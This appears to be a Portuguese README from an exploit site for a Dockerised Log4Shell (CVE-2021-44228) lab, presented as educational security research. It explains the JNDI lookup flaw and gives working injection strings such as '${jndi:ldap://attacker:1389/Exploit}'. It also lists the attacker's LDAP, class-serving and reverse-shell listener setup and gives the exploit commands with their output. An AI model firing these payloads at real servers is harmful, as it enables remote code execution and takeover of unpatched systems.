## https://sploitus.com/exploit?id=209BCE86-4494-593D-903D-99479F7C7129
# CVE-2021-44228 — Log4Shell PoC Lab
> **DISCLAIMER**
>
> Este laboratório foi criado **exclusivamente para fins educacionais e de pesquisa em segurança**.
> Todo o tráfego ocorre dentro de uma rede Docker isolada.
> **Não utilize este material em sistemas reais ou sem autorização explícita.**
> O uso indevido pode ser crime. Use com responsabilidade.
---
## O que é a CVE-2021-44228?
A **Log4Shell** é uma vulnerabilidade crítica (CVSS 10.0) descoberta em dezembro de 2021 na biblioteca de logging **Apache Log4j 2**, amplamente usada em aplicações Java.
### Como a vulnerabilidade ocorre
O Log4j possui um recurso de interpolação de expressões: ao registrar uma mensagem, ele avalia strings no formato `${...}`. Por exemplo, `${java:version}` é substituído pela versão do Java em tempo de execução.
O problema está no suporte ao protocolo **JNDI** (Java Naming and Directory Interface). Quando o Log4j encontra uma expressão como:
```
${jndi:ldap://atacante.com/exploit}
```
ele instrui a JVM a fazer uma **consulta LDAP ao servidor do atacante**. O servidor responde com uma referência a uma classe Java remota — e a JVM **baixa e executa essa classe**, resultando em **Remote Code Execution (RCE)**.
O vetor de ataque é simples: qualquer campo que seja logado pelo servidor (headers HTTP, campos de formulário, cookies, etc.) pode ser o ponto de entrada do payload.
### Versões afetadas
- Log4j `2.0-beta9` até `2.14.1`
- Corrigido na versão `2.15.0` (e definitivamente em `2.17.0`)
---
## Ambiente Vulnerável
O lab simula uma aplicação Java real usando as versões vulneráveis.
| Componente | Versão | Por quê é vulnerável |
|---|---|---|
| Apache Log4j | `2.14.1` | Avalia `${jndi:...}` sem restrições |
| JDK | `1.8.0_181` | Anterior ao patch 8u191 que define `trustURLCodebase=false` |
| Spring Boot | `2.5.6` | Apenas o framework web; a vuln é do Log4j |
### Endpoint vulnerável
```
GET http://localhost:8080/log
```
Os seguintes headers são logados diretamente pelo Log4j — qualquer um deles pode ser o vetor de injeção:
- `X-Api-Version`
- `User-Agent`
- `X-Auth-Token`
### Infraestrutura do atacante (container `attacker`)
| Serviço | Porta | Função |
|---|---|---|
| marshalsec (LDAP) | `1389` | Recebe o lookup JNDI e redireciona para o HTTP server |
| Python HTTP server | `8888` | Serve o `Exploit.class` para a JVM da vítima |
| netcat listener | `9001` | Recebe a conexão do reverse shell |
---
## Como usar o exploit
### Pré-requisitos
- Docker e Docker Compose instalados
- Node.js instalado (para o exploit)
### 1. Subir o ambiente completo
```bash
docker-compose up --build
```
Aguarde até ver nos logs:
```
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
```
### 2. Disparar o exploit
Em outro terminal, rode o exploit Node.js:
```bash
node exploit/exploit.js
```
Saída esperada:
```
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
```
### 3. Verificar a execução
Observe o terminal onde o `docker-compose` está rodando. Nos logs do container `attacker` você verá a conexão do reverse shell chegando na porta 9001.
Para confirmar o `touch /tmp/pwned` dentro da app vulnerável:
```bash
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
```
### Argumentos customizados (opcionais)
```bash
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
```
---
By Guaxinim | Cyber Security Research